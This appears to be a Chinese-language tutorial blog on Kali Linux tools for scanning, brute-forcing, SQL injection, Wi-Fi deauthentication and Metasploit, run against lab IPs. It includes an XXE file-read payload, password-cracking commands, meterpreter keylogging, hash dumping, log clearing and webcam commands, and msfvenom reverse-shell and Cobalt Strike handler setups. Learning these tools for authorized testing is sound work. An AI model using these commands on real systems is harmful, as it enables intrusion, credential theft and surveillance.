kali工具用法介绍(更新中)

本文最后更新于:2023年5月8日 上午

kali工具用法介绍

一、信息收集

1、dirsearch

功能:目录扫描

安装:

1
git clone https://github.com/maurosoria/dirsearch.git

用法:

1
2
3
4
5
-u 指定网址
-e 指定网址语言
-w 指定字典
-r 递归目录(跑出目录后,继续跑下面的目录)
--random-agents 使用随机UA

eg:

1
python dirsearch.py -u 网址 -e php

2、dirb

功能:扫描目录

用法:

1
2
3
4
5
6
7
8
9
格式:dirb <url_base> [<wordlist_file(s)>] [options]
-a 设置user-agent
-p <proxy[:port]>设置代理
-c 设置cookie
-z 添加毫秒延迟,避免洪水攻击
-o 输出结果
-X 在每个字典的后面添加一个后缀
-H 添加请求头
-i 不区分大小写搜索

eg:

1
2
# 使用/usr/share/wordlists/dirb/big.txt 字典来扫描Web服务
dirb http://192.168.56.118 /usr/share/wordlists/dirb/big.txt

image-20220108130748111

1
2
# 设置UA和cookie
dirb http://192.168.56.118 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" -c "BAIDUID=D5C6351DAC89EF8811A51DF3A9A9C0C4:FG=1; HMACCOUNT=2906306413846532; BIDUPSID=D5C6351DAC89EF8811A51DF3A9A9C0C4; PSTM=1585744543; BDORZ=FFFB88E999055A3F8A630C64834BD6D0; H_PS_PSSID=30974_1438_31124_21098; HMVT=6bcd52f51e9b3dce32bec4a3997715ac|1587436663|; delPer=0; PSINO=6; BDRCVFR[gltLrB7qNCt]=mk3SLVN4HKm"

image-20220108131009205

1
2
# 对每个字典添加.dist后缀并延迟100ms,输出保存至test.txt
dirb http://192.168.56.118 -X .dist -z 100 -o test.txt

image-20220108131242372

1
2
# 使用代理
dirb http://192.168.1.116 -p IP:port

参考链接

3、nmap

功能:扫描神器

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-p 指定端口,-p22,80;指定协议,-p http,mysql
-A 用于使用进攻性(Aggressive)方式扫描:端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测,当扫描到未知端口时会进行指纹识别。
-sC 等价于–script=default,使用默认类别的脚本进行扫描服务
-sn Ping Scan - disable port scan,只进行主机发现,不进行端口扫描
-sT tcp扫描
-Pn 跳过主机发现,默认主机开启,直接扫描端口,不触发防火墙,通常检查一个ip开启那些端口
-PR ARP Ping
-T 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,在网络通讯状况较好的情况下推荐使用T4。
-sV IP 判断服务端口、服务名和版本
-sP IP ping扫描探测主机存活
-S <源地址> 定义扫描源地址,为了不被发现
-O IP 操作系统扫描
-e 指定网卡
--iflist 输出网卡信息
--host-timeout 主机超时时间 通常选值:18000
--scan-delay 报文时间间隔 通常选值:1000
#输出
-oN <File>
-oX <XML File>
-oG <filespec>

eg:

1
2
常用:
nmap -sS -A -sC -sV -p 1-65535 --min-rate 5000 10.10.11.111
1
nmap -p1-65535 IP
1
nmap -sn -PR -T4 192.168.56.0/24 

image-20220109133211323

参考链接

nmap常用参数使用

4、masscan

功能:快速扫描端口,只能扫描端口

用法:

1
2
3
4
5
6
7
8
9
格式:masscan <ip addresses/ranges> -p ports options
--adapter-ip 指定发包的IP地址
--adapter-port 指定发包的源端口
--adapter-mac 指定发包源MAC地址
--router-mac 指定网关MAC地址
--exclude IP地址范围黑名单文件
--excludefile 指定IP地址范围黑名单文件
--includefile,-L 读取一个范围列表继续扫描
--wait 指定发包之后等待时间,默认为10m

示例:

1
2
# 扫描全部端口
masscan -p 0-65535 10.35.0.133 --rate=2000

image-20220116122150712

5、whatweb

功能:扫描网站指纹

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
格式:whatweb [options] <URLs>
-version 查看whatweb版本
IP 简要输出
-v IP 详细输出
-input-file=路径 从外部导入目标数据进行批量探测
-i 路径 从外部导入目标数据进行批量探测
-log-xml=result.xml 根据特定的格式探测的结果导出
-url-prefix 添加前缀
-url-suffix 添加后缀
-url-pattern 在中间插入内容
-proxy-user admin:password url 以指定用户名和密码进行探测
-c=cookie值 url 通过-c,指定cookie的值
-l 列出插件的列表,包括插件以及插件的描述
-info-plugins="Zoom" 具体查看插件的内容

eg:

1
2
# 查看指定地址详细网站信息
whatweb -v http://192.168.56.118

image-20220108131632157

5、arp-scan

功能:ARP扫描

6、ffuf

功能:

    • 目录发现,可选择在 URL 中的任何位置进行模糊测试。
    • 子域名发现
    • 使用各种 HTTP 方法进行模糊测试。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
格式:ffuf [options]
-u url地址
-w 设置字典
-c 将响应状态码用颜色区分,windows下无法实现该效果。
-t 线程率,默认40
-p 请求延时: 0.1、0.2s
-ac 自动校准fuzz结果
-H Header头,格式为 “Name: Value”
-X HTTP method to use
-d POST data
-r 跟随重定向
-recursion num 递归扫描
-x 设置代理 http 或 socks5://127.0.0.1:8080
-s 不打印附加信息,简洁输出
-e 设置脚本语言 -e .asp,.php,.html,.txt等
-o 输出文本
-of 输出格式文件,支持html、json、md、csv、或者all

基础用法:

1
ffuf -u http://10.35.0.187/FUZZ -w /usr/share/wordlists/dirb/big.txt

image-20220223221522870

递归扫描:

1
ffuf -u http://10.35.0.187/FUZZ -w /usr/share/wordlists/dirb/big.txt -recursion "2"

image-20220225090616678

进阶用法:

1
2
-maxtime 在有限的时间内完成测试,不论是否完成都将终止,单位为s,
尽量使用**-maxtime-job与-recursion**递归扫描一起使用,用于指定每个目录递归扫描时间,避免扫描时间过长

匹配输出:

ffuf提供了仅获取具有特定特征的状态码、行数、响应大小、字数以及匹配正则表达式的模式进行响应输出

1
2
3
4
5
-mc 指定状态代码。
-ml 指定响应行数
-mr 指定正则表达式模式
-ms 指定响应大小
-mw 指定响应字数

匹配响应状态码为200,301进行输出

1
ffuf -u http://10.35.0.187/FUZZ -w /usr/share/wordlists/dirb/big.txt -mc 200

image-20220225090823792

过滤输出:

不输出具有特定特征的状态码状态码、行数、响应大小、字数以及匹配正则表达式的模式的输出

1
2
3
4
5
-fc 按状态码过滤
-fl 按行数过滤
-fs 按响应大小过滤
-fw 按字数过滤
-fr 按正则表达式模式过滤

不输出响应状态码为200

1
ffuf -u http://10.35.0.187/FUZZ -w /usr/share/wordlists/dirb/big.txt -fc

image-20220225091335288

对多个域名进行目录发现

1
ffuf -w dict.txt:FUZZ -w /targets.txt:URL -u URLFUZZ -mc 200 -of csv -o resule.txt

这里解释一下,-w dict.txt 读取字典文件dict.txt,命名为FUZZ,targets.txt命名为URL,攻击目标为URL与FUZZ的拼接URLFUZZ,当然这要求URL末尾为/,否则只能以URL/FUZZ为目标攻击。

子域名爆破

1
ffuf -w subdomains.txt -u http://website.com/ -H "Host:FUZZ.website.com"

密码爆破&接口&参数模糊测试

1
ffuf -w wordlist.txt -X POST -d "username=admin\&password=FUZZ" -u http://website.com/FUZZ
1
ffuf -request poc.txt -request-proto http -mode clusterbomb -w ./test.txt:HFUZZ -w test.txt:WFUZZ -x "http://127.0.0.1:8080"
1
2
3
4
5
6
7
8
9
-mode 爆破模块,目前有clusterbomb 、 pitchfork 两个模式具体看burpsuite的爆破模块

在clusterbomb模式下,用户名单词列表中的每个单词都将与密码单词列表中的每个单词组合使用。就像如果列表 1 中有 4 个单词而列表 2 中有 5 个单词,那么总共会有 20 个请求。

在pitchfork模式下,用户名列表中第一个单词将与密码列表中第一个单词一起使用,同样,用户名列表中第二个单词将与密码列表中第二个单词一起使用。如果两个列表中的单词数量不同,那么一旦单词数量较少的列表耗尽就会停止。

-request 标志可用于指定与原始HTTP请求文件,并且将相应使用FUZZ

-request-proto 与原始请求一起使用的协议(默认值:https)

HTTP请求爆破

1
ffuf -c -X FUZZ -w /usr/share/wordlists/wfuzz/general/http_methods.txt -u $url

image-20220928101832937

7、Netdiscover

功能:二层发现工具,拥有主动和被动发现两种方式。

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
格式:netdiscover [options]
-p 被动模式。默默的侦听指定的网卡以发现别的二层主机,不发送任何数据
-t ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。
-l file: 指定扫描范围列表文件
-p passive mode: 使用被动扫描的方式,不发送任何数据
-m file: 扫描已知 mac 地址和主机名的电脑列表
-F filter: 指定 pcap 筛选器表达式(默认:“arp”)
-s time: 每个 arp 请求之间的睡眠时间(毫秒)
-n node: 使用八字节的形式扫描(2 - 253)
-c count: 发送 arp 请求的时间次数
-f: 使用主动模式的扫描
-d: 忽略配置文件
-S: 启用每个 arp 请求之间抑制的睡眠时间
-P: 打印结果
-N: 不打印头。只有启用- p时有效。
-L: 将捕获的信息输出(-P),并继续进行扫描

示例:

1
2
# 扫描eth1网卡指定网段
netdiscover -i et

8、Fping

功能:通过ICMP(网络控制信息协议InternetControl Message Protocol)协议回复请求以检测主机是否存在

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
格式:fping [ options ] [ systems... ]
-a 显示可ping通的目标
-A 将目标以ip地址的形式显示
-b <num> ping 数据包的大小。(默认为56)
-B <f> 设置指数反馈因子到f
-c <num> ping每个目标的次数 (默认为1)
-C <num> 同-c,返回的结果为冗长格式
-e 显示返回数据包所费时间
-f <file> 从文件获取目标列表( - 表示从标准输入)(不能与 -g 同时使用)
-g 通过指定开始和结束地址来生成目标列表(例如:./fping –g 192.168.1.0 192.168.1.255)或者一个IP/掩码形式(例如:./fping –g 192.168.1.0/24)
-i <num> 设置ip的TTL值 (生存时间)
-l 循环发送ping
-m ping目标主机的多个网口
-n 将目标以主机名或域名显示(等价于 -d )
-p <num> 对同一个目标的ping包间隔(毫秒) (在循环和统计模式中,默认为1000)
-q 安静模式(不显示每个目标或每个ping的结果)
-Q <num> 同-q, 但是每n秒显示信息概要
-r <num> 当ping失败时,最大重试次数(默认为3次)
-s 打印最后的统计数据
-t <num> 单个目标的超时时间(毫秒)(默认500)
-u 显示不可到达的目标

9、wfuzz

功能:Wfuzz 是一款Python开发的Web安全测试工具,它不仅仅是一个web扫描器:wfuzz能够通过发现并利用网站弱点/漏洞的方式帮助你使网站更加安全。wfuzz的漏洞扫描功能由插件支持。

用法:

最不详细的Wfuzz使用(一)o((>ω< ))o

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
基础命令
-b "cookie=" 设置cookie
-c 带颜色显示
-d "username=admin" 设置post内容
-H "User-Agent:" 设置请求头
-R 1 设置递归深度
-s 设置请求间隔时间
-t 设置线程,默认为10
-X GET 设置请求方法,默认为GET请求
-z 设置payload
-z file 导入paylaod文件
-z range,1-10 范围形式1-10
-z list 1-2-3-4 列表形式,1,2,3,4
显示或隐藏信息
--hc 503 隐藏响应码为503的数据包
--hl 20 隐藏响应长度为20行的数据包
--hw 30 隐藏响应单词数为30的数据包
--hh 50 隐藏响应信息中字符数为50的数据包
使用 --sc --sl --sw --sh 可以特别显示相应结果

示例:

任意文件读取

1
wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY file SYSTEM "file:///home/david/FUZZ">]><details><email>&file;©right;</email><password>123</password></details>' --hh 85 http://10.35.153.34/magic.php

image-20220628194307797

发现用户目录下的.viminfo(vi程序的信息文件,主要用于记录vi的状态信息)文件,访问看看。

image-20220628194503752

模糊测试请求方法

1
2
3
wfuzz -z list,"PUT-POST-HEAD-OPTIONS-TRACE-GET" -X FUZZ $url
或使用seclist的方法字典
wfuzz -w /usr/share/seclists/Fuzzing/http-request-methods.txt -X FUZZ $url

image-20220928100634603

二、漏洞分析

三、web程序

1.sqlmap

功能:

用法:

1
2
3
4
5
6
7
8
9
10
11
12
格式:
--is-dbs 当前用户权限
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--random-agent 构成随机的user-agent
--passwords 数据库密码
--proxy 代理
--time-sec 响应延迟时间
--threads 使用多少线程
--batch 自动化选择,不会询问你输入,全部默认确定
1
2
3
4
5
6
7
sqlmap -u url 
sqlmap -u url --dbs 爆出所有数据库
sqlmap -u url --currrent-db 爆出当前数据库
sqlmap -u url -D security --tables 爆出security数据表
sqlmap -u url -D security -T users --columns爆出security数据库中users数据表的列
sqlmap -u url -D security -T users -C username,password --dump 爆出security数据库中users数据表列内容
sqlmap -r post.txt 读取posts

eg:

1
2
# 爆数据库名
sqlmap -u http://192.168.200.134/Hackademic_RTB1/?cat=1 --dbs --batch

image-20220108164716371

1
2
# 爆指定数据库表名
sqlmap 192.168.56.118/Hackademic_RTB1/?cat=1 -D wordpress --tables --batch

image-20220108164829768

1
2
# 爆指定数据表的列名
sqlmap 192.168.56.118/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users --columns --batch

image-20220108165228689

1
2
# 爆指定数据表的内容
sqlmap 192.168.56.118/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users -C user_login,user_pass,user_level --dump --batch

image-20220108165114358

2.wpscan

简介:

wpscan专门用来扫描wordpress搭建网站的漏洞

用法:

1
2
3
4
5
6
7
8
9
10
11
格式:wpscan [options]
--api-token 令牌,需在https://wpscan.com/profile获得,没令牌看不到插件漏洞
--update 更新数据库
--url <site> 扫描站点
--url <site> --enumerate t 对站点主题进行扫描
--url <site> --enumerate vt 对站点主题进行漏洞扫描
--url <site> --enumerate p 对站点插件进行扫描
--url <site> --enumerate vp 对站点插件进行漏洞扫描
--url <site> --enumerate u 枚举wordpress的用户
--url <site> --wordlist 密码字典 --username 用户名或者密码字典
--url <site> --enmuerate vp,vt,tt,u

示例:

1
2
3
4
5
6
7
wpscan --url http://192.168.56.200/wordpress -e u
wpscan --url http://192.168.56.200/wordpress -e vp,vt,tt
-e 枚举
u 用户名
vp 只枚举有漏洞的插件
vt 只枚举存在漏洞的主题
tt 列举缩略图相关的文件

3.burp suite

Intrude模块

四种模式介绍

image-20220522182121943

Sniper(狙击手模式)

狙击手模式使用一组payload集合,它一次只使用一个payload标记位置,假设你标记了两个位置user和password,则狙击手会先保持password位置为原有数据,payload逐个替换user;之后保持user位置为原有数据,payload逐个替换user。总攻击次数为(payload数量xpay标记位置数量)。

payload:

1
2
3
4
admin
pikachu
test
tian

攻击结果:

image-20220522182600994

image-20220522182620759

image-20220522182636912

Battering ram(攻城锤模式)

攻城锤模式与狙击手模式类似的地方是,同样只使用一个payload集合,不同的地方在于每次攻击都是替换所有payload标记位置,而狙击手模式每次只能替换一个payload标记位置。总攻击次数为(payload数量)。

payload:

1
2
3
4
admin
pikachu
test
tian

攻击结果:

image-20220522182837558

image-20220522182852593

Pitchfork(草叉模式)

草叉模式允许使用多组payload组合,在每个标记位置上遍历所有payload组合。总攻击次数为(payload数量)。

payload1:

1
2
3
4
admin
pikachu
test
tian

payload2:

1
2
3
4
123456
000000
abc123
tian

攻击结果:

image-20220522183017937

Cluster bomb(集束炸弹模式)

集束炸弹模式跟草叉模式不同的地方在于,集束炸弹模式会对payload组进行笛卡尔积。总攻击次数为(payload1数量xpayload2数量)。

payload1:

1
2
3
4
admin
pikachu
test
tian

payload2:

1
2
3
4
123456
000000
abc123
tian

攻击结果:

image-20220522183053265

四、提权

五、密码攻击

1、hydra

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
格式:hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R 继续从上一次进度接着破解
-S 大写,采用SSL链接
-s <PORT> 小写,可通过这个参数指定非默认端口
-l <LOGIN>
指定破解的用户,对特定用户破解
-L <FILE> 指定用户名字典
-p <PASS> 小写,指定密码破解,少用,一般是采用密码字典
-P <FILE> 大写,指定密码字典
-e <ns> 可选选项,n:空密码试探,s:使用指定用户和密码试探
-C <FILE> 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M <FILE> 指定目标列表文件一行一条
-o <FILE> 指定结果输出文件
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS> 同时运行的线程数,默认为16
-w <TIME> 设置最大超时的时间,单位秒,默认是30s
-v / -V 显示详细过程

server
目标ip

service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

OPT
可选项

示例

密码破解

1
2
3
hydra -L dict.txt -P dict.txt 192.168.56.119 http-get /webdav
# http-get为协议
# /webdav为目录

破解成功image-20220110225241143

1
2
3
4
5
hydra -L dict.txt -P dict.txt -vV -f 192.168.56.120 http-post-form "/wordpress/wp-login.php:user_login=^USER^&user_pass=^PASS^:login_error"

-f 找到一个结果后停止
-vV显示详细过程
"/wordpress/wp-login.php:user_login=^USER^&user_pass=^PASS^:login_error"是由冒号分隔三个部分,第一个部分是登录页面所在目录,第二部分user_login=^USER^&user_pass=^PASS^,这是POST提交表单中id的名字,把用户名和密码部分换成了^USER^和^PASS^。USER对应前面的-L,PASS对应-P。最后一部分login_error是指定的判断密码是否正确的条件,默认是黑名单模式,也就是如果返回页面中存在"login_error"(提交错误后查看错误信息对应源码)就说明这个密码不正确。user_login、user_pass、login_error这三个内容要根据页面中源码里的id的值进行修改。

2、cewl

参考链接

介绍:

cewl是一个 ruby 应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表,这个列表可以扔到John the ripper工具里进行密码破解。cewl还有一个相关的命令行 工具 应用FAB,它使用相同的元数据提取技术从已下载的列表中创建作者/创建者列表。

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
格式:cewl <url> [options]

-h,--help 显示帮助
-k,--keep 保存下载文件
-d <x>,--depth <x> 爬行深度,默认为2
-m,--min_world_length 最小长度,默认为3
-o,--offsize 允许1爬虫访问其他站点
-w,--write 将结果输出写入文件
-u,--ua <agent> 设置UA
-n,--no-words 不输出字典
--with-numbers 允许单词中存在数字
-a,--meta 包括元数据
--meta_file file 输出元数据文件
-e,--email 包括email地址
--meta-temp-dir <dir> exiftool解析文件时使用的临时目录,默认是/temp。
-c, --count 显示发现的每个单词的数量。
-v, --verbose verbose。
--debug 提取调试信息。

认证
--auth_type Digest或者basic认证。

--auth_user 用户名认证。

--auth_pass 密码认证。
代理

--proxy_host 代理主机。

--proxy_port 代理端口,默认8080

--proxy_username 用户名代理。

--proxy_password 密码代理。

示例

默认用法

1
2
# 爬行指定url,输出单词列表
cewl <url>

image-20220110224446486

cewl认证登录

1
2
3
cewl <url> --auth_type Digest --auth_user admin --auth_pass password -v

cewl <url> --auth_type basic --auth_user admin --auth_pass password -v

使用代理

1
cewl --proxy_host <--proxy_port <port> <url>

3、john

功能:

John the Ripper是一个快速的密码破解程序,目前可用于Unix,Windows,DOS和OpenVMS的许多口味。其主要目的是检测弱Unix密码。除了在各种Unix系统上最常见的几种crypt(3)密码哈希类型之外,现在支持的还有Windows LM哈希,以及社区增强版本中的大量其他哈希和密码。

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
格式:john <OPTIONS> <PASSWORD-FILES>

--single[=SECTION] ]“单裂”模式
--wordlist[=FILE] --stdin 单词表模式,从FILE或stdin读取单词
--pipe--stdin一样,但批量读取,并允许规则
--loopback[=FILE] 像 --wordlistg一样, 但是从.pot文件中获取单词
--dupe-suppression 压制wordlist中的所有模糊(并强制预加载)
--prince[=FILE] PRINCE模式,从FILE中读取单词
--encoding=NAME 输入编码(例如,UTF-8,ISO-8859-1)。 也可以看看doc / ENCODING和--list = hidden-options。
--rules[=SECTION] 为单词表模式启用单词修改规则
--incremental[=MODE] “增量”模式[使用部分模式]
--mask=MASK 掩码模式使用MASK
--markov[=OPTIONS] “马尔可夫”模式(参见doc / MARKOV)
--external=MODE 外部模式或字过滤器
--stdout[=LENGTH] 只是输出候选人密码[在LENGTH切]
--restore[=NAME] 恢复被中断的会话[名为NAME]
--session=NAME 给一个新的会话NAME
--status[=NAME] 打印会话的状态[名称]
--make-charset=FILE 制作一个字符集文件。 它将被覆盖
--show[=LEFT] 显示破解的密码[如果=左,然后uncracked]
--test[=TIME] 运行测试和每个TIME秒的基准
--users=[-]LOGIN|UID[,..] [不]只加载这个(这些)用户
--groups=[-]GID[,..] 只加载这个(这些)组的用户
--shells=[-]SHELL[,..] 用[out]这个(这些)shell来加载用户
--salts=[-]COUNT[:MAX] 用[out] COUNT [到MAX]散列加载盐
--save-memory=LEVEL 启用内存保存,级别1..3
--node=MIN[-MAX]/TOTAL 此节点的数量范围不在总计数中
--fork=N 叉N过程
--pot=NAME 锅文件使用
--list=WHAT 列表功能,请参阅--list = help或doc / OPTIONS
--format=NAME 强制使用NAME类型的散列。 支持的格式可以用--list=formats--list=subformats来看

# 我们使用john自带的密码字典,位置为/usr/share/john/password.lst
john --wordlist=/usr/share/john/password.lst
# john工具对于同一个hash文件只会进行一次爆破,如果第二次执行john hash是错的
john --show <hash文件名>

示例:

暴力破解登陆密码:

查看/ect/shadow文件,发现hacksudo密码密文

image-20220203180352466

创建一个文件hash.txt,放密文拷贝到hash.txt中

image-20220203180838402

使用命令john hash.txt破解密码

image-20220203180921499

使用命令john -show hash.txt查看破解到的密码,发现用户hacksudo的密码为aliens

image-20220203180952064

4、medusa

功能:

medusa是一款开源的暴力破解工具,支持多种协议的密码破解。

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
格式:
medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPTIONS]

-h 目标地址
-H 包含目标地址的文件
-u 包含测试的用户名
-U 指定测试的用户名字典
-p 指定测试密码
-P 指定测试的密码字典
-C 指定测试格式为"user:password"的测试字典
-O 将输出结果保存至指定文件
-e [n/s/ns] 额外的密码检测(n:空密码;s:用户名=密码)
-M 指定执行的模块名(不带mod扩展名)
-m 指定传递给模块的参数
-d 查看支持破解的模块
-n 指定非默认的端口
-s 启用ssl
-g 设置连接超时时间(默认值为3)
-r 设置重试次数(默认值为3)
-t 设置同时测试的登陆总数
-T 设置同时测试的主机总数
-f 在破解得到第一个用户名或密码后停止扫描主机
-F 当在任何主机上破解得到第一个用户名或密码后停止扫描
-b 不显示软件启动时的版本信息
-q 显示模块的使用信息
-v 详细等级(0-6)
-w 错误调试等级(0-10)
-V 显示版本信息
-Z 恢复中止的扫描

示例:

已知用户民,破解ssh密码

1
medusa -u missyred -P /usr/share/wordlists/rockyou.txt -h 10.35.153.37 -M ssh -f -t 5 

image-20220920231455392

六、无线攻击

1.Aircrack-ng无线套装

Aircrack-ng(注意大小写,aircrack-ng是Aircrack-ng中的一个组件)是一个包含了多款工具的无线攻击审计套装,这里面很多工具在后面的内容中都会用到,具体见下表为Aircrack-ng包含的组件具体列表。

aircrack-ng原理解析

组件名 描述
airmon-ng 用于改变无线网卡工作模式,以便其他工具使用
airodump-ng 用于捕获802.11数据报文,以便aircrack-ng破解
airepaly-ng 在进行WEP及WPA-PSK密码恢复时,可以根据需要创建特殊的无线网络数据报文及流量
airserv-ng 可以将无线网卡连接至某一特定端口,为攻击时灵活调用做准备
aircrack-ng 主要用于WEP及WPA-PSK密码的恢复,只要airodump-ng收集到足够数量的数据包,aircrack-ng就可以自动检测数据包并判断是否可以破解
airolib-ng 进行WPA Rainbow Table攻击时使用,用于建立特定数据库文件
airdecap-ng 用于解开处于加密状态的数据包
tools 其他用于辅助的工具,如airdriver-ng、packetforge-ng等

airmon-ng

1
2
3
# 在已指定信道打开
airmon-ng stop <interface>
airmon-ng start <interface> -c <channel>

aircrack-ng

Attack 0: Deauthentication 解除认证

Attack 1: Fake authentication 伪造身份验证

Attack 2: Interactive packet replay 交互式数据包重播

Attack 3: ARP request replay attack ARP请求重播攻击

Attack 4: KoreK chopchop attack KoreK斩杀攻击

Attack 5: Fragmentation attack 碎片攻击

Attack 6: Cafe-latte attack 咖啡拿铁攻击

Attack 7: Client-oriented fragmentation attack 面向客户的分片攻击

Attack 8: WPA Migration Mode WPA迁移模式

Attack 9: Injection test 注射试验

示例:

查看网卡基本信息

1
2
iwconfig wlan0
或iw dev

image-20220118103303988

若未显示wifi,可在正常的模式下用这个命令扫描wifi,然后再开启airmon-ng开始命令进来就有了,如果还未显示有可能是网卡不支持监听模式,另外还需要注意的是部分网卡对usb3.0存在不兼容现象,可更换2.0端口即可

1
2
# 查看无线网卡配置信息,查看支持接口模式
iw list

image-20220117152020306

1
2
# 查看信道
iwlist wlan0 frequency

image-20220117152144116

Deauth攻击

1
2
3
4
5
6
7
# 设置网卡为混杂模式
airmon-ng start wlan0

ifconfig wlan0 down
iwconfig wlan0 mode monitor
#iwconfig wlan0 mode managed
iw dev查看状态

image-20220118104200947

可以看到开启混杂模式,并且重命名为wlan0mon

1
2
# 对当前无线网络进行嗅探
airodump-ng wlan0

image-20220118103828010

使用aircrack-ng进行取消认证攻击

1
2
aireplay-ng -0 <num> -a <BSSID> -c <aim_mac> <interface>
aireplay-ng -0 0 -a B0:95:8E:28:0E:25 wlan0

七、逆向分析

八、漏洞利用工具集

1、msf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
auxiliary/scanner/discovery/arp_sweep    #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机

auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# 监控目标系统键盘输入,停止监控为keyscan_stop

meterpreter > keyscan_start
keyscan_dump // 查看键盘记录


# 将你的Meterpreter移到另一个进程
# 先用PS命令查看进程后,得到进程ID,然后在执行Migrate (进程ID)
meterpreter > migrate


# 获取用户的服务器运行
meterpreter > getuid

# 进入目标电脑,命令提示符
meterpreter > shell

# 目标电脑闲置了多长时间
meterpreter > Idletime


# 导出对方SAM数据库里的内容,推荐一个hash破解网站:
# http://www.objectif-securite.ch/products.php
meterpreter > Hashdump

# 利用已有漏洞,自动提权为SYSTEM
meterpreter > getsystem

# 清除事件日志
meterpreter > clearev

# 在对方电脑上运行该指令
meterpreter > execute(某Windows指令)

meterpreter > execute
Usage: execute -f file [options]

# 下载文件命令
meterpreter > download(文件路径)

例如下载C盘下面的jzking121.txt文件
meterpreter > download c:\\jzking121.txt
[*] downloading: c:\jzking121.txt -> jzking121.txt
[*] downloaded : c:\jzking121.txt -> jzking121.txt
# 注意,文件路径中要有两个\\
# Upload指令跟Download指令类似!

# 关闭目标计算机,reboot为重启计算机
meterpreter > shutdown

# 获取目标电脑,屏幕截图
meterpreter >screenshot

# 启用目标使用键盘
meterpreter > uictl enable keyboard
# 禁止目标使用鼠标
meterpreter > uictl disable mouse

# 目标系统的摄像头列表
meterpreter > webcam_list

# 从指定的摄像头,拍摄照片
meterpreter > webcam_snap

MSF生成一句话反弹shell

1
msfvenom -p cmd/unix/reverse_awk lhost=1.1.1.1 lport=12345 R

MSF与CS联动

1
2
3
4
5
6
7
8
9
10
msf>>cs
1.先通过msf通过漏洞,进入meterpreter终端:background,建立session会话,用sessions查看session ID及相关信息。
2.CS创建一个新的内部监听 设置lhost以及lport
3.使用模块 exploit/windows/local/payload_inject ,并设置
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost ip # 创建cs监听的地址
set lport 60002 # cs监听端口
set session 1
exploit
1
2
3
4
5
6
7
8
9
cs>>msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.56.105
set lport 6666
show options
exploit
之后在CS设置监听器,payload设置foreign http,设置地址192.168.56.105端口6666
通过会话菜单栏spawn(新建会话),选择监听,发送session

MSF生成的两种payload

Stage类型Payload

1
payload/windows/x64/meterpreter/reverse_tcp

